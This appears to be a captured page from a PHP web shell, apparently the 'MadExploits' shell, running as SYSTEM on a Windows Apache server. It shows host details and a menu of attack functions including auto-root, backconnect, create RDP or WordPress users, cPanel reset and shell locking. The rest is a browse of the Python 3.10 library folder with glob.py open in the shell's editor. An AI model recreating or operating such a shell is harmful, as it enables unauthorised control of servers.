Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
python /
python-3.10 /
Lib /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxrwxrwx
asyncio
[ DIR ]
drwxrwxrwx
collections
[ DIR ]
drwxrwxrwx
concurrent
[ DIR ]
drwxrwxrwx
ctypes
[ DIR ]
drwxrwxrwx
curses
[ DIR ]
drwxrwxrwx
dbm
[ DIR ]
drwxrwxrwx
distutils
[ DIR ]
drwxrwxrwx
email
[ DIR ]
drwxrwxrwx
encodings
[ DIR ]
drwxrwxrwx
ensurepip
[ DIR ]
drwxrwxrwx
html
[ DIR ]
drwxrwxrwx
http
[ DIR ]
drwxrwxrwx
idlelib
[ DIR ]
drwxrwxrwx
importlib
[ DIR ]
drwxrwxrwx
json
[ DIR ]
drwxrwxrwx
lib2to3
[ DIR ]
drwxrwxrwx
logging
[ DIR ]
drwxrwxrwx
msilib
[ DIR ]
drwxrwxrwx
multiprocessing
[ DIR ]
drwxrwxrwx
pydoc_data
[ DIR ]
drwxrwxrwx
site-packages
[ DIR ]
drwxrwxrwx
sqlite3
[ DIR ]
drwxrwxrwx
test
[ DIR ]
drwxrwxrwx
tkinter
[ DIR ]
drwxrwxrwx
turtledemo
[ DIR ]
drwxrwxrwx
unittest
[ DIR ]
drwxrwxrwx
urllib
[ DIR ]
drwxrwxrwx
venv
[ DIR ]
drwxrwxrwx
wsgiref
[ DIR ]
drwxrwxrwx
xml
[ DIR ]
drwxrwxrwx
xmlrpc
[ DIR ]
drwxrwxrwx
zoneinfo
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
__future__.py
5.18
KB
-rw-rw-rw-
__phello__.foo.py
65
B
-rw-rw-rw-
_aix_support.py
3.28
KB
-rw-rw-rw-
_bootsubprocess.py
2.71
KB
-rw-rw-rw-
_collections_abc.py
32.43
KB
-rw-rw-rw-
_compat_pickle.py
8.79
KB
-rw-rw-rw-
_compression.py
5.71
KB
-rw-rw-rw-
_markupbase.py
14.7
KB
-rw-rw-rw-
_osx_support.py
21.84
KB
-rw-rw-rw-
_py_abc.py
6.19
KB
-rw-rw-rw-
_pydecimal.py
229.58
KB
-rw-rw-rw-
_pyio.py
94.91
KB
-rw-rw-rw-
_sitebuiltins.py
3.16
KB
-rw-rw-rw-
_strptime.py
25.25
KB
-rw-rw-rw-
_threading_local.py
7.29
KB
-rw-rw-rw-
_weakrefset.py
5.99
KB
-rw-rw-rw-
abc.py
6.55
KB
-rw-rw-rw-
aifc.py
32.77
KB
-rw-rw-rw-
antigravity.py
517
B
-rw-rw-rw-
argparse.py
98.36
KB
-rw-rw-rw-
ast.py
59.84
KB
-rw-rw-rw-
asynchat.py
11.56
KB
-rw-rw-rw-
asyncore.py
20.43
KB
-rw-rw-rw-
base64.py
20.95
KB
-rw-rw-rw-
bdb.py
32.34
KB
-rw-rw-rw-
binhex.py
14.93
KB
-rw-rw-rw-
bisect.py
3.17
KB
-rw-rw-rw-
bz2.py
11.91
KB
-rw-rw-rw-
cProfile.py
6.37
KB
-rw-rw-rw-
calendar.py
24.74
KB
-rw-rw-rw-
cgi.py
34.28
KB
-rw-rw-rw-
cgitb.py
12.13
KB
-rw-rw-rw-
chunk.py
5.47
KB
-rw-rw-rw-
cmd.py
14.9
KB
-rw-rw-rw-
code.py
10.68
KB
-rw-rw-rw-
codecs.py
36.91
KB
-rw-rw-rw-
codeop.py
5.55
KB
-rw-rw-rw-
colorsys.py
4.08
KB
-rw-rw-rw-
compileall.py
20.22
KB
-rw-rw-rw-
configparser.py
54.67
KB
-rw-rw-rw-
contextlib.py
26
KB
-rw-rw-rw-
contextvars.py
133
B
-rw-rw-rw-
copy.py
8.77
KB
-rw-rw-rw-
copyreg.py
7.47
KB
-rw-rw-rw-
crypt.py
3.85
KB
-rw-rw-rw-
csv.py
16.09
KB
-rw-rw-rw-
dataclasses.py
56.49
KB
-rw-rw-rw-
datetime.py
88.49
KB
-rw-rw-rw-
decimal.py
331
B
-rw-rw-rw-
difflib.py
83.36
KB
-rw-rw-rw-
dis.py
20.08
KB
-rw-rw-rw-
doctest.py
105.42
KB
-rw-rw-rw-
enum.py
39.93
KB
-rw-rw-rw-
filecmp.py
10.25
KB
-rw-rw-rw-
fileinput.py
16.49
KB
-rw-rw-rw-
fnmatch.py
6.75
KB
-rw-rw-rw-
fractions.py
28.31
KB
-rw-rw-rw-
ftplib.py
35.62
KB
-rw-rw-rw-
functools.py
38.15
KB
-rw-rw-rw-
genericpath.py
5.01
KB
-rw-rw-rw-
getopt.py
7.52
KB
-rw-rw-rw-
getpass.py
6.03
KB
-rw-rw-rw-
gettext.py
27.4
KB
-rw-rw-rw-
glob.py
7.93
KB
-rw-rw-rw-
graphlib.py
9.59
KB
-rw-rw-rw-
gzip.py
21.93
KB
-rw-rw-rw-
hashlib.py
10.25
KB
-rw-rw-rw-
heapq.py
22.93
KB
-rw-rw-rw-
hmac.py
7.75
KB
-rw-rw-rw-
imaplib.py
55.19
KB
-rw-rw-rw-
imghdr.py
3.88
KB
-rw-rw-rw-
imp.py
10.68
KB
-rw-rw-rw-
inspect.py
124.11
KB
-rw-rw-rw-
io.py
4.21
KB
-rw-rw-rw-
ipaddress.py
75.21
KB
-rw-rw-rw-
keyword.py
1.1
KB
-rw-rw-rw-
linecache.py
5.73
KB
-rw-rw-rw-
locale.py
78.01
KB
-rw-rw-rw-
lzma.py
13.31
KB
-rw-rw-rw-
mailbox.py
79.05
KB
-rw-rw-rw-
mailcap.py
8.23
KB
-rw-rw-rw-
mimetypes.py
22.64
KB
-rw-rw-rw-
modulefinder.py
24.5
KB
-rw-rw-rw-
netrc.py
5.75
KB
-rw-rw-rw-
nntplib.py
41.13
KB
-rw-rw-rw-
ntpath.py
29.49
KB
-rw-rw-rw-
nturl2path.py
2.9
KB
-rw-rw-rw-
numbers.py
10.48
KB
-rw-rw-rw-
opcode.py
5.97
KB
-rw-rw-rw-
operator.py
10.95
KB
-rw-rw-rw-
optparse.py
60.6
KB
-rw-rw-rw-
os.py
39.68
KB
-rw-rw-rw-
pathlib.py
49.84
KB
-rw-rw-rw-
pdb.py
63.47
KB
-rw-rw-rw-
pickle.py
65.2
KB
-rw-rw-rw-
pickletools.py
94.12
KB
-rw-rw-rw-
pipes.py
8.95
KB
-rw-rw-rw-
pkgutil.py
24.7
KB
-rw-rw-rw-
platform.py
42.23
KB
-rw-rw-rw-
plistlib.py
28.47
KB
-rw-rw-rw-
poplib.py
15.31
KB
-rw-rw-rw-
posixpath.py
16.37
KB
-rw-rw-rw-
pprint.py
24.53
KB
-rw-rw-rw-
profile.py
22.93
KB
-rw-rw-rw-
pstats.py
29.4
KB
-rw-rw-rw-
pty.py
5.27
KB
-rw-rw-rw-
py_compile.py
7.86
KB
-rw-rw-rw-
pyclbr.py
11.44
KB
-rw-rw-rw-
pydoc.py
109.8
KB
-rw-rw-rw-
queue.py
11.54
KB
-rw-rw-rw-
quopri.py
7.33
KB
-rw-rw-rw-
random.py
33.35
KB
-rw-rw-rw-
re.py
15.86
KB
-rw-rw-rw-
reprlib.py
5.3
KB
-rw-rw-rw-
rlcompleter.py
7.85
KB
-rw-rw-rw-
runpy.py
13.12
KB
-rw-rw-rw-
sched.py
6.37
KB
-rw-rw-rw-
secrets.py
2.06
KB
-rw-rw-rw-
selectors.py
19.68
KB
-rw-rw-rw-
shelve.py
8.6
KB
-rw-rw-rw-
shlex.py
13.53
KB
-rw-rw-rw-
shutil.py
54.45
KB
-rw-rw-rw-
signal.py
2.47
KB
-rw-rw-rw-
site.py
22.72
KB
-rw-rw-rw-
smtpd.py
35.3
KB
-rw-rw-rw-
smtplib.py
45.47
KB
-rw-rw-rw-
sndhdr.py
7.18
KB
-rw-rw-rw-
socket.py
36.81
KB
-rw-rw-rw-
socketserver.py
27.48
KB
-rw-rw-rw-
sre_compile.py
28.11
KB
-rw-rw-rw-
sre_constants.py
7.26
KB
-rw-rw-rw-
sre_parse.py
40.87
KB
-rw-rw-rw-
ssl.py
52.39
KB
-rw-rw-rw-
stat.py
5.55
KB
-rw-rw-rw-
statistics.py
43.29
KB
-rw-rw-rw-
string.py
10.59
KB
-rw-rw-rw-
stringprep.py
12.88
KB
-rw-rw-rw-
struct.py
272
B
-rw-rw-rw-
subprocess.py
83.97
KB
-rw-rw-rw-
sunau.py
18.25
KB
-rw-rw-rw-
symtable.py
10.29
KB
-rw-rw-rw-
sysconfig.py
27.75
KB
-rw-rw-rw-
tabnanny.py
11.47
KB
-rw-rw-rw-
tarfile.py
96.2
KB
-rw-rw-rw-
telnetlib.py
23.37
KB
-rw-rw-rw-
tempfile.py
29.35
KB
-rw-rw-rw-
textwrap.py
19.79
KB
-rw-rw-rw-
this.py
1.01
KB
-rw-rw-rw-
threading.py
57.47
KB
-rw-rw-rw-
timeit.py
13.55
KB
-rw-rw-rw-
token.py
2.46
KB
-rw-rw-rw-
tokenize.py
25.98
KB
-rw-rw-rw-
trace.py
29.23
KB
-rw-rw-rw-
traceback.py
26.28
KB
-rw-rw-rw-
tracemalloc.py
18.17
KB
-rw-rw-rw-
tty.py
915
B
-rw-rw-rw-
turtle.py
144.43
KB
-rw-rw-rw-
types.py
10.18
KB
-rw-rw-rw-
typing.py
93
KB
-rw-rw-rw-
uu.py
7
KB
-rw-rw-rw-
uuid.py
27.39
KB
-rw-rw-rw-
warnings.py
19.76
KB
-rw-rw-rw-
wave.py
18.08
KB
-rw-rw-rw-
weakref.py
21.71
KB
-rw-rw-rw-
webbrowser.py
24.38
KB
-rw-rw-rw-
xdrlib.py
6.01
KB
-rw-rw-rw-
zipapp.py
7.56
KB
-rw-rw-rw-
zipfile.py
89.17
KB
-rw-rw-rw-
zipimport.py
30.19
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : glob.py
"""Filename globbing utility.""" import contextlib import os import re import fnmatch import itertools import stat import sys __all__ = ["glob", "iglob", "escape"] def glob(pathname, *, root_dir=None, dir_fd=None, recursive=False): """Return a list of paths matching a pathname pattern. The pattern may contain simple shell-style wildcards a la fnmatch. However, unlike fnmatch, filenames starting with a dot are special cases that are not matched by '*' and '?' patterns. If recursive is true, the pattern '**' will match any files and zero or more directories and subdirectories. """ return list(iglob(pathname, root_dir=root_dir, dir_fd=dir_fd, recursive=recursive)) def iglob(pathname, *, root_dir=None, dir_fd=None, recursive=False): """Return an iterator which yields the paths matching a pathname pattern. The pattern may contain simple shell-style wildcards a la fnmatch. However, unlike fnmatch, filenames starting with a dot are special cases that are not matched by '*' and '?' patterns. If recursive is true, the pattern '**' will match any files and zero or more directories and subdirectories. """ sys.audit("glob.glob", pathname, recursive) sys.audit("glob.glob/2", pathname, recursive, root_dir, dir_fd) if root_dir is not None: root_dir = os.fspath(root_dir) else: root_dir = pathname[:0] it = _iglob(pathname, root_dir, dir_fd, recursive, False) if not pathname or recursive and _isrecursive(pathname[:2]): try: s = next(it) # skip empty string if s: it = itertools.chain((s,), it) except StopIteration: pass return it def _iglob(pathname, root_dir, dir_fd, recursive, dironly): dirname, basename = os.path.split(pathname) if not has_magic(pathname): assert not dironly if basename: if _lexists(_join(root_dir, pathname), dir_fd): yield pathname else: # Patterns ending with a slash should match only directories if _isdir(_join(root_dir, dirname), dir_fd): yield pathname return if not dirname: if recursive and _isrecursive(basename): yield from _glob2(root_dir, basename, dir_fd, dironly) else: yield from _glob1(root_dir, basename, dir_fd, dironly) return # `os.path.split()` returns the argument itself as a dirname if it is a # drive or UNC path. Prevent an infinite recursion if a drive or UNC path # contains magic characters (i.e. r'\\?\C:'). if dirname != pathname and has_magic(dirname): dirs = _iglob(dirname, root_dir, dir_fd, recursive, True) else: dirs = [dirname] if has_magic(basename): if recursive and _isrecursive(basename): glob_in_dir = _glob2 else: glob_in_dir = _glob1 else: glob_in_dir = _glob0 for dirname in dirs: for name in glob_in_dir(_join(root_dir, dirname), basename, dir_fd, dironly): yield os.path.join(dirname, name) # These 2 helper functions non-recursively glob inside a literal directory. # They return a list of basenames. _glob1 accepts a pattern while _glob0 # takes a literal basename (so it only has to check for its existence). def _glob1(dirname, pattern, dir_fd, dironly): names = _listdir(dirname, dir_fd, dironly) if not _ishidden(pattern): names = (x for x in names if not _ishidden(x)) return fnmatch.filter(names, pattern) def _glob0(dirname, basename, dir_fd, dironly): if basename: if _lexists(_join(dirname, basename), dir_fd): return [basename] else: # `os.path.split()` returns an empty basename for paths ending with a # directory separator. 'q*x/' should match only directories. if _isdir(dirname, dir_fd): return [basename] return [] # Following functions are not public but can be used by third-party code. def glob0(dirname, pattern): return _glob0(dirname, pattern, None, False) def glob1(dirname, pattern): return _glob1(dirname, pattern, None, False) # This helper function recursively yields relative pathnames inside a literal # directory. def _glob2(dirname, pattern, dir_fd, dironly): assert _isrecursive(pattern) yield pattern[:0] yield from _rlistdir(dirname, dir_fd, dironly) # If dironly is false, yields all file names inside a directory. # If dironly is true, yields only directory names. def _iterdir(dirname, dir_fd, dironly): try: fd = None fsencode = None if dir_fd is not None: if dirname: fd = arg = os.open(dirname, _dir_open_flags, dir_fd=dir_fd) else: arg = dir_fd if isinstance(dirname, bytes): fsencode = os.fsencode elif dirname: arg = dirname elif isinstance(dirname, bytes): arg = bytes(os.curdir, 'ASCII') else: arg = os.curdir try: with os.scandir(arg) as it: for entry in it: try: if not dironly or entry.is_dir(): if fsencode is not None: yield fsencode(entry.name) else: yield entry.name except OSError: pass finally: if fd is not None: os.close(fd) except OSError: return def _listdir(dirname, dir_fd, dironly): with contextlib.closing(_iterdir(dirname, dir_fd, dironly)) as it: return list(it) # Recursively yields relative pathnames inside a literal directory. def _rlistdir(dirname, dir_fd, dironly): names = _listdir(dirname, dir_fd, dironly) for x in names: if not _ishidden(x): yield x path = _join(dirname, x) if dirname else x for y in _rlistdir(path, dir_fd, dironly): yield _join(x, y) def _lexists(pathname, dir_fd): # Same as os.path.lexists(), but with dir_fd if dir_fd is None: return os.path.lexists(pathname) try: os.lstat(pathname, dir_fd=dir_fd) except (OSError, ValueError): return False else: return True def _isdir(pathname, dir_fd): # Same as os.path.isdir(), but with dir_fd if dir_fd is None: return os.path.isdir(pathname) try: st = os.stat(pathname, dir_fd=dir_fd) except (OSError, ValueError): return False else: return stat.S_ISDIR(st.st_mode) def _join(dirname, basename): # It is common if dirname or basename is empty if not dirname or not basename: return dirname or basename return os.path.join(dirname, basename) magic_check = re.compile('([*?[])') magic_check_bytes = re.compile(b'([*?[])') def has_magic(s): if isinstance(s, bytes): match = magic_check_bytes.search(s) else: match = magic_check.search(s) return match is not None def _ishidden(path): return path[0] in ('.', b'.'[0]) def _isrecursive(pattern): if isinstance(pattern, bytes): return pattern == b'**' else: return pattern == '**' def escape(pathname): """Escape all special characters. """ # Escaping is done by wrapping any of "*?[" between square brackets. # Metacharacters do not work in the drive part and shouldn't be escaped. drive, pathname = os.path.splitdrive(pathname) if isinstance(pathname, bytes): pathname = magic_check_bytes.sub(br'[\1]', pathname) else: pathname = magic_check.sub(r'[\1]', pathname) return drive + pathname _dir_open_flags = os.O_RDONLY | getattr(os, 'O_DIRECTORY', 0)
Close